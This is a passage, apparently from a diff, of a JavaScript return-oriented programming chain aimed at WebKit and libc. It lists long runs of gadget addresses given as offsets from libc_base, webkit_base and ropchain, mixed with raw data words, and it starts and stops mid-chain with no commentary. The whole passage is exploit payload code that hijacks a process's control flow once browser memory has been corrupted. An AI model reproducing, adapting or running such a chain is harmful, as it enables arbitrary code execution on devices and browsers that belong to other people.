0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+415960, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+492272, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964048, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294964048, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+492400, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+492416, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+492560, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+492528, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+492544, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+604240, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+492712, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+161664, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +ropchain+492808, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+594512, +libc_base+863109, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+604264, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+492960, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+161664, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278 +]); +db([4294964064, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+493112, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+493128, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+493272, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+493240, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+493256, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+493368, +webkit_base+4687784, +libc_base+768796 +]); +db([17978976, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([17978976, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+493512, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+493528, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+493496, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+493632, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964040, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294964048, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+493776, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+493792, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+493936, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+493904, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+493920, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+494032, +webkit_base+4687784, +libc_base+768796 +]); +db([16, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([16, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+494176, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+494192, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+494160, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+494328, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964100, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+494416, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+494432, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+494592, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+494624, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+494576, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+494608, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+494720, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+494704, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+494816, +webkit_base+4687784, +libc_base+713278 +]); +db([4294964140, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+494928, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+359952, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+495016, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964032, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294964032, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+495160, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+495176, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+495320, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+495288, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+495304, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+495416, +webkit_base+4687784, +libc_base+768796 +]); +db([304, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([304, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+495560, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+495576, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+495544, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+495712, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964100, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+495800, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+495816, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+495976, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+496008, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+495960, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+495992, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+496104, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+496088, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+496200, +webkit_base+4687784, +libc_base+713278 +]); +db([4294964140, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+496312, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+359952, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+496400, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964024, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294964024, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+496544, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+496560, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+496704, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+496672, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+496688, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+496800, +webkit_base+4687784, +libc_base+768796 +]); +db([104, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([104, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+496944, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+496960, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+496928, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+497096, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964100, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+497184, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+497200, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+497360, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+497392, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+497344, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+497376, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+497488, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+497472, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+497584, +webkit_base+4687784, +libc_base+713278 +]); +db([4294964140, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+497696, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+359952, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+497784, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964016, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294964016, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+497912, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+497928, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+498072, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+498040, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+498056, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+772328 +]); +db([0, 536870912]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+498184, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+72932, +libc_base+713278, +ropchain+498280, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964016, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294964016, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+498408, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+498424, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+498568, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+498536, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+498552, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+498664, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964024, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+498752, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+498768, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+498912, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+498880, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+498896, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+499008, +webkit_base+4687784, +libc_base+768796 +]); +db([104, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([104, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+499152, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+499168, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+499136, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+499304, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964100, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+499392, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+499408, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+499568, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+499600, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+499552, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+499584, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+499696, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+499680, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+499792, +webkit_base+4687784, +libc_base+713278 +]); +db([4294964140, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+499904, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+362504, +libc_base+863109, +libc_base+713278 +]); +db([4294967264, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+499992, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+500104, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+500088, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+500208, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+589200, +libc_base+863109, +libc_base+713278, +ropchain+500256, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+500312, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([1, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+772328 +]); +db([2, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+500480, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+72932, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+772328 +]); +db([4, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+500624, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+72932, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+500752, +webkit_base+4687784, +libc_base+768796 +]); +db([16384, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([16384, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+500864, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+500848, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+501016, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+595840, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+501160, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+501176, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+501144, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+501296, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+501280, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964012, 4294967295]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+713278, +ropchain+501368, +webkit_base+4687784, +libc_base+768796 +]); +db([1, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+772328 +]); +db([2, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+501480, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+72932, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+501608, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964012, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+501696, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+501712, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+501872, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+501904, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+501856, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+501888, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+502000, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+501984, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+502104, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+590528, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+502248, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+502264, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+502232, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+502384, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+502368, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964008, 4294967295]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+740138, +libc_base+713278 +]); +db([4294964008, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+502512, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+502528, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+502688, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+502720, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+502672, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+502704, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); 